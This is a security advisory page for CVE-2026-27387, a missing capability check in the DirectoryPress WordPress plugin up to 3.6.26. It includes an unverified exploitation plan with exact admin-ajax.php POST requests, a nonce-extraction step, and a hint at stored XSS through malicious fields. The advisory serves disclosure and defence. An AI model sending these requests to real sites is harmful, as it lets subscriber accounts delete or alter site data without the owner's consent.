CVE-2026-27387

DirectoryPress – Business Directory And Classified Ad Listing <= 3.6.26 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.6.27
Patched in
79d
Time to patch

Description

The DirectoryPress – Business Directory And Classified Ad Listing plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.6.26. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.6.26
PublishedDecember 18, 2025
Last updatedMarch 6, 2026
Affected plugindirectorypress

What Changed in the Fix

Changes introduced in v3.6.27

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The **DirectoryPress – Business Directory And Classified Ad Listing** plugin (versions <= 3.6.26) contains a missing authorization vulnerability within its AJAX handlers responsible for managing listing fields and field groups. Specifically, several functions intended for ad…

Show full research plan

Vulnerability Summary

The DirectoryPress – Business Directory And Classified Ad Listing plugin (versions <= 3.6.26) contains a missing authorization vulnerability within its AJAX handlers responsible for managing listing fields and field groups. Specifically, several functions intended for administrative use are registered via wp_ajax_ without accompanying capability checks (e.g., current_user_can('manage_options')). This allows any authenticated user, including those with Subscriber privileges, to create, modify, or delete directory fields and groups, compromising the integrity of the directory structure.

Attack Vector Analysis

  • Endpoints: WordPress AJAX endpoint /wp-admin/admin-ajax.php.
  • Vulnerable Actions:
    • directorypress_fields_delete_callback (Deletes listing fields)
    • directorypress_fields_group_delete_callback (Deletes field groups)
    • directorypress_fields_edit_callback (Modifies field configuration)
    • directorypress_fields_options_callback (Modifies field options)
  • Required Authentication: Authenticated user (Subscriber level or higher).
  • Payload Parameters:
    • action: The AJAX action name.
    • id: The database ID of the field or group to manipulate.
    • nonce: A valid WordPress nonce assigned to directorypress_js_instance.nonce.
  • Preconditions: The plugin must be active. A Subscriber account is required to obtain the valid nonce and execute the requests.

Code Flow

  1. The plugin registers AJAX actions in the backend (likely in includes/class-directorypress-admin.php or similar, inferred from the directory structure).
  2. The JavaScript file admin/assets/js/directorypress-admin.js handles the UI interactions for these actions.
  3. When a user clicks a management link (e.g., .directorypress-field-action-link with data-action="field_delete"), the JS identifies the callback: directorypress_fields_delete_callback.
  4. The JS sends a POST request to admin-ajax.php containing the action, id, and the nonce from the directorypress_js_instance object.
  5. The PHP handler (e.g., directorypress_fields_delete_callback()) validates the nonce but fails to check if the current user has administrative permissions (manage_options).
  6. The handler proceeds to perform database operations (e.g., $wpdb->delete) based on the provided id.

Nonce Acquisition Strategy

The nonce is localized in the WordPress admin area for logged-in users. Even Subscribers have access to wp-admin/profile.php, where the plugin's admin scripts and localized data are enqueued.

  1. Identify Localization: The script admin/assets/js/directorypress-admin.js relies on a global JS object named directorypress_js_instance.
  2. Access Admin Area: Log in as a Subscriber and navigate to /wp-admin/profile.php.
  3. Extract Nonce: Use the browser to read the nonce value from the localized object.
    • JS Variable: window.directorypress_js_instance
    • Key: nonce
    • Tool Command: browser_eval("window.directorypress_js_instance?.nonce")

Exploitation Strategy

This plan focuses on deleting a core directory field (e.g., the "Address" field) to demonstrate unauthorized modification.

1. Preparation

  • Log in to the WordPress instance as a Subscriber.
  • Navigate to /wp-admin/profile.php.
  • Execute browser_eval("window.directorypress_js_instance.nonce") to retrieve the nonce.

2. Unauthorized Deletion

  • Action: directorypress_fields_delete_callback
  • Target: Field ID 2 (The default ID for the "Address" field, created in admin/db/install-db.php).
  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=directorypress_fields_delete_callback&id=2&nonce=[EXTRACTED_NONCE]
    

3. Unauthorized Group Deletion (Alternative)

  • Action: directorypress_fields_group_delete_callback
  • Target: Group ID 1 (The default ID for "Contact Information").
  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=directorypress_fields_group_delete_callback&id=1&nonce=[EXTRACTED_NONCE]
    

Test Data Setup

  1. Plugin Installation: Ensure DirectoryPress is installed and activated.
  2. Core Data: The plugin automatically populates the directorypress_fields table upon activation via directorypress_install_directory() in admin/db/install-db.php.
    • Field ID 1: Exerpt
    • Field ID 2: Address
    • Field ID 3: Description
  3. User Creation: Create a user with the subscriber role.
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password

Expected Results

  • Response: The server should return a success message (likely containing the string "Deleted" as per the JS logic after_ajax_text = 'Deleted').
  • Database Impact: The record with id=2 should be removed from the {prefix}directorypress_fields table.
  • UI Impact: The "Address" field will disappear from listing submission forms and existing listings.

Verification Steps

After performing the exploit via HTTP, use WP-CLI to verify the change:

  1. Check Fields Table:
    wp db query "SELECT * FROM wp_directorypress_fields WHERE id = 2;"
    
    • Success Criterion: The query returns no results.
  2. Check Field Groups:
    wp db query "SELECT * FROM wp_directorypress_fields_groups WHERE id = 1;"
    
    • Success Criterion: If the group deletion was targeted, this should return no results.

Alternative Approaches

If simple deletion fails or if the id is different in the target environment:

  1. Enumerate Fields: Use directorypress_fields_edit_form to fetch details of fields to find valid IDs.
    • action=directorypress_fields_edit_form&id=1&nonce=[NONCE]
  2. Create Malicious Field: Use directorypress_fields_create_new_callback to inject custom fields.
    • Required parameters (inferred from install-db.php columns): name, type, slug.
    • This could lead to Stored XSS if the field name or description is not sanitized upon display.
Research Findings
Static analysis — not yet PoC-verified

Summary

The DirectoryPress plugin for WordPress is vulnerable to unauthorized data modification in versions up to 3.6.26 due to missing capability checks on several AJAX handlers. This allow authenticated attackers, including those with subscriber-level permissions, to perform administrative actions such as deleting or modifying directory fields and groups.

Vulnerable Code

// admin/assets/js/directorypress-admin.js
// Lines 154-159: JavaScript triggers for administrative AJAX actions that lack backend authorization checks.

}else if(action == 'field_delete'){
    jQuery('.offcanvas-footer .field_callback_link').removeClass('btn-success').addClass('btn-danger').text('Delete');
    jQuery('.offcanvas-footer .field_callback_link').removeClass('btn-primary').addClass('btn-danger');
    callback = 'directorypress_fields_delete_callback';
    after_ajax_text = 'Deleted';
}else if(action == 'field_options'){
    // ... (truncated)
    callback = 'directorypress_fields_options_callback';
    after_ajax_text = 'Updated';
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/directorypress/3.6.26/admin/assets/js/directorypress-admin.js /home/deploy/wp-safety.org/data/plugin-versions/directorypress/3.6.27/admin/assets/js/directorypress-admin.js
--- /home/deploy/wp-safety.org/data/plugin-versions/directorypress/3.6.26/admin/assets/js/directorypress-admin.js	2025-05-20 13:50:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/directorypress/3.6.27/admin/assets/js/directorypress-admin.js	2026-03-04 22:12:24.000000000 +0000
@@ -259,6 +259,7 @@
 				url: directorypress_js_instance.ajaxurl,
 				data: { 'action': 'directorypress_fields_group_list'},
 				dataType: "html",
+				cache: false,
 				success: function (response) {
 					jQuery('#fields_group .fields_group_list_wrapper').find(loader_wrapper).remove();
 					jQuery('#fields_group .fields_group_list_wrapper').html(response);	
@@ -292,7 +293,7 @@
 		jQuery.ajax({
 			type: "POST",
 			url: directorypress_js_instance.ajaxurl,
-			data: Form + '&action=directorypress_save_category_fields_ajax',
+			data: Form + '&action=directorypress_save_category_fields_ajax&nonce='+directorypress_js_instance.nonce,
 			dataType: "json",
 			success: function (response) {
 				jQuery('#directorypress_terms_configure .modal-body').find(loader_wrapper).remove();

Exploit Outline

The exploit targets the AJAX interface of the plugin. An attacker must follow these steps: 1. Authenticate to the WordPress site with at least Subscriber-level privileges. 2. Access the admin dashboard (e.g., /wp-admin/profile.php) to retrieve the 'nonce' value from the localized 'directorypress_js_instance' JavaScript object. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to a vulnerable callback (such as 'directorypress_fields_delete_callback'), the target 'id' of the field or group to modify/delete, and the extracted 'nonce' retrieved in step 2. Because the server-side handler for these actions lacks a capability check (e.g., current_user_can('manage_options')), the operation is successfully executed regardless of the user's role.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.